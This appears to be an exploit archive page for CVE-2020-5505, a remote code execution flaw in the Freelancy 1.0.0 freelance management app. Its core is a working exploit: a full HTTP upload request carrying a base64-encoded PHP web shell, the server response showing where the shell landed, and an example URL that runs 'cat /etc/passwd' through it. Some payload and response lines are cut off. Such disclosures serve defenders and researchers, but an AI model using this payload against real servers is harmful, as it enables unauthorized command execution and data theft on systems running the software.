Freelancy 1.0.0 Remote Code Execution

Authored by Ismail Tasdelen

Posted Jan 13, 2020

Freelancy version 1.0.0 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-5505
SHA-256 | 27fcda2d60369367b781215be5aff2b0782b9cfb300a573b677ff257bfd71ac3 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Freelancy - Freelance Management App v1.0.0 - RCE (Authenticated) Arbitrary File Download
# Date: 03-01-2019
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://vaaip.com/
# Software Link: https://codecanyon.net/item/freelancy-freelance-project-management-application/25288636
# Software: Freelancy - Freelance Management App
# Product Version: v1.0.0
# Vulnerability Type: Code Injection
# Vulenrability: Remote Code Execution ( RCE )
# CVE : CVE-2020-5505

# Description :
# Freelancy v1.0.0 allows remote command execution via
# the "file":"data:application/x-php;base64 substring (in conjunction with
# "type":"application/x-php"} to the /api/files/ URI.


# RCE Example :

https://SERVER/storage/file/FileNAME.php?cmd=cat%20/etc/passwd

# HTTP Request :

POST /api/files/ HTTP/1.1
Host: SERVER
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://SERVER/files
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=utf-8
Authorization: Bearer 8f7f4b6e-68db-4e2b-b33d-401460fdd00c
X-XSRF-TOKEN:
eyJpdiI6InJQbnQ5TGVTdEp2bTh4cUdCMVY3Y3c9PSIsInZhbHVlIjoidll6Q2xNTFh3cmhTU2dpVWg2aHVRMTEzWktpQ3NFZGVDWFQ1UVV5WGN
Content-Length: 274
Connection: close
Cookie: XSRF-
TOKEN=eyJpdiI6InJQbnQ5TGVTdEp2bTh4cUdCMVY3Y3c9PSIsInZhbHVlIjoidll6Q2xNTFh3cmhTU2dpVWg2aHVRMTEzWktpQ3NFZGVDWFQ1U
freelancy_session=eyJpdiI6InZPQXk2b0dsaTN6S01QbExpTEJRd2c9PSIsInZhbHVlIjoiSENnQ2RIcVVQTFR1SW5WYTR5RUpmS01jV2RmN

{"title":"Arbitrary File Upload","description":"Shell","file":"data:application/x-
php;base64,PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7
php"}

# HTTP Response :

HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Content-Type: application/json
Connection: close
Cache-Control: no-cache, private
Date: Fri, 03 Jan 2020 05:21:25 GMT
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 58
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 350

{"uuid":"FileNAME","title":"Arbitrary File
Upload","description":"Shell","path":"public\/file\/FileNAME.php","url":"https:\/\/SERVER\/storage\/file\/FileN
01-03 05:21:25","created_at":"2020-01-03 05:21:25","id":16}
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: **December 2022 <**

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	150 files
Ubuntu	68 files
LiquidWorm	23 files
Debian	16 files
malvuln	11 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	6 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed